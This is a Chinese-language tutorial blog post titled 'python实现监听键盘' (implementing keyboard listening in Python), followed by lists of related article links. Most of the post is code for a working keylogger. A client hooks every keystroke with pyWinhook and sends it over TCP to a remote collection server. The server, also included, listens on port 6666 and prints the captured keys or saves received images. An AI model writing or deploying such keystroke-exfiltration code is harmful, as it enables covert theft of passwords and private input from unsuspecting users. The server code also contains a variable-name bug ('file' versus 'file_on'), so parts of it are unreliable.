python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python获取远程图片大小和尺寸的方法
Mar 26 Python
python中随机函数random用法实例
Apr 30 Python
python好玩的项目—色情图片识别代码分享
Nov 07 Python
Python从ZabbixAPI获取信息及实现Zabbix-API 监控的方法
Sep 17 Python
python使用pygame框架实现推箱子游戏
Nov 20 Python
Django视图扩展类知识点详解
Oct 25 Python
解决Python命令行下退格,删除,方向键乱码(亲测有效)
Jan 16 Python
利用Python计算KS的实例详解
Mar 03 Python
Python3通过chmod修改目录或文件权限的方法示例
Jun 08 Python
pyx文件 生成pyd 文件用于 cython调用的实现
Mar 04 Python
python保存大型 .mat 数据文件报错超出 IO 限制的操作
May 10 Python
Python pandas之求和运算和非空值个数统计
Aug 07 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
一个查看session内容的函数
2006/10/09 PHP
php通过strpos查找字符串出现位置的方法
2015/03/17 PHP
php上传图片获取路径及给表单字段赋值的方法
2016/01/23 PHP
php中实现字符串翻转的方法
2017/02/22 PHP
isArray()函数(JavaScript中对象类型判断的几种方法)
2009/11/26 Javascript
使用jQuery内容过滤选择器选择元素实例讲解
2013/04/18 Javascript
jQuery基本选择器选择元素使用介绍
2013/04/18 Javascript
网站如何做到完全不需要jQuery也可以满足简单需求
2013/06/27 Javascript
Node.js中require的工作原理浅析
2014/06/24 Javascript
加随机数引入脚本不让浏览器读取缓存
2014/09/04 Javascript
javascript中createElement的两种创建方式
2015/05/14 Javascript
jQuery满屏焦点图左右滚动特效代码分享
2015/09/07 Javascript
JavaScript获取浏览器信息的方法
2015/11/20 Javascript
JS小数转换为整数的方法分析
2017/01/07 Javascript
浅谈vuex之mutation和action的基本使用
2017/08/29 Javascript
使用imba.io框架得到比 vue 快50倍的性能基准
2019/06/17 Javascript
详解vue 命名视图
2019/08/14 Javascript
vue实现表单录入小案例
2019/09/27 Javascript
js常用方法、检查是否有特殊字符串、倒序截取字符串操作完整示例
2020/01/26 Javascript
matplotlib绘制符合论文要求的图片实例(必看篇)
2017/06/02 Python
Python中用psycopg2模块操作PostgreSQL方法
2017/11/28 Python
深入分析python数据挖掘 Json结构分析
2018/04/21 Python
python实现小球弹跳效果
2019/05/10 Python
python使用turtle绘制国际象棋棋盘
2019/05/23 Python
Python实现Restful API的例子
2019/08/31 Python
Pycharm中Python环境配置常见问题解析
2020/01/16 Python
Django实现whoosh搜索引擎使用jieba分词
2020/04/08 Python
python将logging模块封装成单独模块并实现动态切换Level方式
2020/05/12 Python
阿迪达斯意大利在线商店:adidas意大利
2016/09/19 全球购物
保安员岗位职责
2013/11/17 职场文书
2014年3.15团委活动总结
2014/03/16 职场文书
经典演讲稿开场白
2014/08/25 职场文书
幼儿园八一建军节活动方案
2014/08/27 职场文书
稽核岗位职责
2015/02/10 职场文书
Python数据可视化之基于pyecharts实现的地理图表的绘制
2021/06/10 Python
Vue OpenLayer测距功能的实现
2022/04/20 Vue.js